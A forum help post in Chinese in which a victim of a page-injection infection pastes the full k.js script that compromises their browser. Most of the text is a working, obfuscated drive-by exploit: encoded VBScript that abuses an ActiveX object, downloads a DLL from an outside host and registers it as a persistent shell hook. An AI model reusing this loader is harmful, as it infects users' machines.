救命呀,我中毒啦,重做系统都没用!高手帮帮我呀
不知这种是什么病毒,我重做系统好几次了,都不管用!还是有毒
症状是每天早晨10点左右打开所有的网站页面源代码第一行都被包含了一句javascript代码:<script src="http://k.sb941.com/k.js" type="text/javascript"></script>
部分网站页面也会变乱!
搜遍了互联网都没有搜到解决的办法!高手们分析一下啊!
//k.js里的脚本如下 JavaScript Document
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(
document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{
document.cookie = "Cookie1=sunun;expires="+ Then.toGMTString();
document.write(unescape("%3Cscript%20language%3D%22vbscript%22%3E%0D%0AFunction%20LeoFunc%28ByVal%20encodeString%29%0D%0AConst%20Templete%20%3D%20%22ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%22%20%0D%0ADim%20dataLength%2C%20sOut%2C%20groupBegin%0D%0AencodeString%20%3D%20Replace%28encodeString%2C%20vbCrLf%2C%20%22%22%29%0D%0AencodeString%20%3D%20Replace%28encodeString%2C%20vbTab%2C%20%22%22%29%0D%0AencodeString%20%3D%20Replace%28encodeString%2C%20%22%20%22%2C%20%22%22%29%0D%0AdataLength%20%3D%20Len%28encodeString%29%0D%0AIf%20dataLength%20Mod%204%20%3C%3E%200%20Then%0D%0AExit%20Function%0D%0AEnd%20If%0D%0AFor%20groupBegin%20%3D%201%20To%20dataLength%20Step%204%0D%0ADim%20numDataBytes%2C%20CharCounter%2C%20thisChar%2C%20thisData%2C%20nGroup%2C%20pOut%0D%0AnumDataBytes%20%3D%203%0D%0AnGroup%20%3D%200%0D%0AFor%20CharCounter%20%3D%200%20To%203%0D%0AthisChar%20%3D%20Mid%28encodeString%2C%20groupBegin%20+%20CharCounter%2C%201%29%0D%0AIf%20thisChar%20%3D%20%22%3D%22%20Then%0D%0AnumDataBytes%20%3D%20numDataBytes%20-%201%0D%0AthisData%20%3D%200%0D%0AElse%0D%0AthisData%20%3D%20InStr%281%2C%20Templete%2C%20thisChar%2C%20vbBinaryCompare%29%20-%201%0D%0AEnd%20If%0D%0AIf%20thisData%20%3D%20-1%20Then%0D%0AExit%20Function%0D%0AEnd%20If%0D%0AnGroup%20%3D%2064%20*%20nGroup%20+%20thisData%0D%0ANext%0D%0AnGroup%20%3D%20Hex%28nGroup%29%0D%0AnGroup%20%3D%20String%286%20-%20Len%28nGroup%29%2C%20%220%22%29%20%26%20nGroup%0D%0ApOut%20%3D%20Chr%28CByte%28%22%26H%22%20%26%20Mid%28nGroup%2C%201%2C%202%29%29%29%20+%20Chr%28CByte%28%22%26H%22%20%26%20Mid%28nGroup%2C%203%2C%202%29%29%29%20+%20Chr%28CByte%28%22%26H%22%20%26%20Mid%28nGroup%2C%205%2C%202%29%29%29%0D%0AsOut%20%3D%20sOut%20%26%20Left%28pOut%2C%20numDataBytes%29%0D%0ANext%0D%0ALeoFunc%20%3D%20sOut%0D%0AEnd%20Function%0D%0AExecute%20LeoFunc%28%22RnVuY3Rpb24gTGVvRnVuYyhCeVZhbCBlbmNvZGVTdHJpbmcpDQpDb25zdCBUZW1wbGV0ZSA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvIiANCkRpbSBkYXRhTGVuZ3RoLCBzT3V0LCBncm91cEJlZ2luDQplbmNvZGVTdHJpbmcgPSBSZXBsYWNlKGVuY29kZVN0cmluZywgdmJDckxmLCAiIikNCmVuY29kZVN0cmluZyA9IFJlcGxhY2UoZW5jb2RlU3RyaW5nLCB2YlRhYiwgIiIpDQplbmNvZGVTdHJpbmcgPSBSZXBsYWNlKGVuY29kZVN0cmluZywgIiAiLCAiIikNCmRhdGFMZW5ndGggPSBMZW4oZW5jb2RlU3RyaW5nKQ0KSWYgZGF0YUxlbmd0aCBNb2QgNCA8PiAwIFRoZW4NCkV4aXQgRnVuY3Rpb24NCkVuZCBJZg0KRm9yIGdyb3VwQmVnaW4gPSAxIFRvIGRhdGFMZW5ndGggU3RlcCA0DQpEaW0gbnVtRGF0YUJ5dGVzLCBDaGFyQ291bnRlciwgdGhpc0NoYXIsIHRoaXNEYXRhLCBuR3JvdXAsIHBPdXQNCm51bURhdGFCeXRlcyA9IDMNCm5Hcm91cCA9IDANCkZvciBDaGFyQ291bnRlciA9IDAgVG8gMw0KdGhpc0NoYXIgPSBNaWQoZW5jb2RlU3RyaW5nLCBncm91cEJlZ2luICsgQ2hhckNvdW50ZXIsIDEpDQpJZiB0aGlzQ2hhciA9ICI9IiBUaGVuDQpudW1EYXRhQnl0ZXMgPSBudW1EYXRhQnl0ZXMgLSAxDQp0aGlzRGF0YSA9IDANCkVsc2UNCnRoaXNEYXRhID0gSW5TdHIoMSwgVGVtcGxldGUsIHRoaXNDaGFyLCB2YkJpbmFyeUNvbXBhcmUpIC0gMQ0KRW5kIElmDQpJZiB0aGlzRGF0YSA9IC0xIFRoZW4NCkV4aXQgRnVuY3Rpb24NCkVuZCBJZg0Kbkdyb3VwID0gNjQgKiBuR3JvdXAgKyB0aGlzRGF0YQ0KTmV4dA0Kbkdyb3VwID0gSGV4KG5Hcm91cCkNCm5Hcm91cCA9IFN0cmluZyg2IC0gTGVuKG5Hcm91cCksICIwIikgJiBuR3JvdXANCnBPdXQgPSBDaHIoQ0J5dGUoIiZIIiAmIE1pZChuR3JvdXAsIDEsIDIpKSkgKyBDaHIoQ0J5dGUoIiZIIiAmIE1pZChuR3JvdXAsIDMsIDIpKSkgKyBDaHIoQ0J5dGUoIiZIIiAmIE1pZChuR3JvdXAsIDUsIDIpKSkNCnNPdXQgPSBzT3V0ICYgTGVmdChwT3V0LCBudW1EYXRhQnl0ZXMpDQpOZXh0DQpMZW9GdW5jID0gc091dA0KRW5kIEZ1bmN0aW9uDQpPbiBFcnJvciBSZXN1bWUgTmV4dA0KU2V0IG9iaiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoTGVvRnVuYygiYjJKcVpXTjAiKSkNCm9iai5zZXRBdHRyaWJ1dGUgTGVvRnVuYygiWTJ4aGMzTnBaQT09IiksIExlb0Z1bmMoIlkyeHphV1E2UWtRNU5rTTFOVFl0TmpWQk15MHhNVVF3TFRrNE0wRXRNREJETURSR1F6STVSVE0yIikNCnNldCBvYmpEPW9iai5DcmVhdGVPYmplY3QoTGVvRnVuYygiVFdsamNtOXpiMlowTGxoTlRFaFVWRkE9IiksIiIpDQp1cmxQYXRoTmFtZT1MZW9GdW5jKCJhSFIwY0RvdkwyUmhlUzQ1TVhSbkxtNWxkQzk0Y0M1a2JHdz0iKQ0Kb2JqRC5PcGVuIExlb0Z1bmMoIlIwVlUiKSx1cmxQYXRoTmFtZSxGYWxzZQ0Kb2JqRC5TZW5kDQpzZXQgb2JqQj1vYmouQ3JlYXRlT2JqZWN0KExlb0Z1bmMoIlUyTnlhWEIwYVc1bkxrWnBiR1ZUZVhOMFpXMVBZbXBsWTNRPSIpLCIiKQ0Kc2V0IHNoZWxsPW9iakIuR2V0U3BlY2lhbEZvbGRlcigwKQ0Kc2hlbGxOYW1lPSBvYmpCLkJ1aWxkUGF0aChzaGVsbCxMZW9GdW5jKCJWMmx1YUdWc2NDNWtiR3c9IikpDQpzZXQgb2JqU3RyZWFtPW9iai5DcmVhdGVPYmplY3QoTGVvRnVuYygiUVdSdlpHSXVVM1J5WldGdCIpLCIiKQ0KV2l0aCBvYmpTdHJlYW0NCi5UeXBlPTENCi5PcGVuDQouV3JpdGUgb2JqRC5yZXNwb25zZUJvZHkNCi5TYXZlVG9GaWxlIHNoZWxsTmFtZSwyDQouQ2xvc2UNCkVuZCBXaXRoDQpTZXQgb2JqUiA9IG9iai5DcmVhdGVPYmplY3QoTGVvRnVuYygiVjFOamNtbHdkQzVUYUdWc2JBPT0iKSwiIikNCmtleU5hbWU9TGVvRnVuYygiU0V0TVRWeFRUMFpVVjBGU1JWeERiR0Z6YzJWelhFTk1VMGxFWEhzMlFqTkdRMFJET0MxRk5VTTNMVFEzTjJFdE9ERTNSUzAzTWpnMk5VRTNOelU0UVVWOVhBPT0iKQ0Kb2JqUi5SZWdXcml0ZSBrZXlOYW1lLExlb0Z1bmMoIlYyVmlJRWh2YjJ0eiIpDQprZXlOYW1lPWtleU5hbWUgJiBMZW9GdW5jKCJTVzV3Y205alUyVnlkbVZ5TXpKYyIpDQprZXlOYW1lRXg9TGVvRnVuYygiU0V0TVRWeFRUMFpVVjBGU1JWeE5hV055YjNOdlpuUmNWMmx1Wkc5M2MxeERkWEp5Wlc1MFZtVnljMmx2Ymx4RmVIQnNiM0psY2x4VGFHVnNiRVY0WldOMWRHVkliMjlyYzF4N05rSXpSa05FUXpndFJUVkROeTAwTnpkaExUZ3hOMFV0TnpJNE5qVkJOemMxT0VGRmZRPT0iKQ0Kb2JqUi5SZWdXcml0ZSBrZXlOYW1lLHNoZWxsTmFtZQ0Kb2JqUi5SZWdXcml0ZSBrZXlOYW1lICYgTGVvRnVuYygiVkdoeVpXRmthVzVuVFc5a1pXdz0iKSxMZW9GdW5jKCJRWEJoY25SdFpXNTAiKQ0Kb2JqUi5SZWdXcml0ZSBrZXlOYW1lRXgsIiINCg%3D%3D%22%29%0D%0A%0D%0A%3C/script%3E%0D%0A"));
}
}Get();